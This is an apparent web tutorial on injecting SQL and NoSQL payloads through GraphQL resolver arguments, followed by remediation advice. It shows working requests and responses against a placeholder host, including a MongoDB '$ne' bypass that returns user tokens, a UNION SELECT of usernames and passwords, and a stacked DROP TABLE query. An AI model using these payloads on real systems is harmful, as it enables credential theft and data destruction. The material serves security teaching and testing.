GraphQL Hacking: The Complete Practical Guide
GraphQL Argument Injection (SQLi and NoSQLi Passthrough)
How injection reaches a GraphQL resolver: GraphQL validates argument types not values, so SQLi and NoSQL operator injection pass through to the database.
Published
GraphQL validates the type of an argument and never its value, so an argument that a resolver concatenates into a query is injectable exactly like any other input. The bug is in the resolver, not in GraphQL. This page covers reaching SQL and NoSQL injection through arguments. Practice on a free live target.
GraphQL validates types, not values
When you pass category: "electronics", GraphQL confirms the argument is a String and passes electronics to the resolver untouched. It does not care whether the string contains a quote, a SQL keyword, or a NoSQL operator. If the resolver does something like build a query by concatenation, your payload lands in the database. The injection is the resolver's, carried there by GraphQL.
SQL injection through a String argument
Point a string argument at a resolver that queries a relational database:
POST /graphql HTTP/1.1
Host: target.example
Content-Type: application/json
{"query":"{ products(category: \"x' OR '1'='1\") { id name } }"}HTTP/1.1 200 OK
Content-Type: application/json
{"data":{"products":[{"id":"1","name":"Keyboard"},{"id":"2","name":"Monitor"},{"id":"3","name":"Secret Prototype"}]}}The category filter was concatenated into SQL, so ' OR '1'='1 returned every product including ones no normal category would list. From here it is ordinary SQL injection, covered in SQL injection.
NoSQL operator injection through an object argument
When an argument is a loose JSON scalar (or an input object the resolver spreads into the query), you can smuggle a database operator into it. Against a MongoDB-backed resolver:
POST /graphql HTTP/1.1
Host: target.example
Content-Type: application/json
{"query":"query($f: JSON!){ users(filter: $f){ id token } }","variables":{"f":{"password":{"$ne":null}}}}HTTP/1.1 200 OK
Content-Type: application/json
{"data":{"users":[{"id":"1","token":"eyJ..."}]}}The filter argument was spread straight into the Mongo query, so the $ne: null constraint matched any user with a password set, bypassing the intended equality check. This is the same operator abuse covered in NoSQL injection, delivered through a GraphQL argument. The $ here is a MongoDB operator and reaches Mongo untouched, because the values inside the variables JSON are opaque to GraphQL. The GraphQL $ rule applies only to variable names in the query document (like $f), not to JSON values. Where the argument is a typed input object instead, the field is often named ne and the resolver maps it to $ne.
Confirm by behavioral difference
Prove the value reached the store with a true-versus-false pair:
category: "x' OR '1'='1" always true -> extra rows / different response
category: "x' AND '1'='2" always false -> empty / baseline responseIf the responses differ, the argument is being evaluated by the database, not treated as literal text. The same differential works for timing-based blind injection.
Edge variants
search: "a%' UNION SELECT username,password FROM users-- -" UNION read where the column count fits
id: "1; DROP TABLE ..." stacked queries if the driver allows them (rare)
path/command args a resolver shelling out is command injection, not SQLiFixing it
- Parameterize every resolver query. Use bound parameters or an ODM that escapes operators. Never concatenate argument values.
- Validate values, not just types. Allow-list enum-like inputs (a category should be a known set, not a free string).
- Reject unexpected object keys in input filters so a Mongo operator cannot ride in.
Full guidance is in preventing GraphQL attacks. Next, defeat rate limits with one request in batching and alias abuse, or try an injection on a free lab.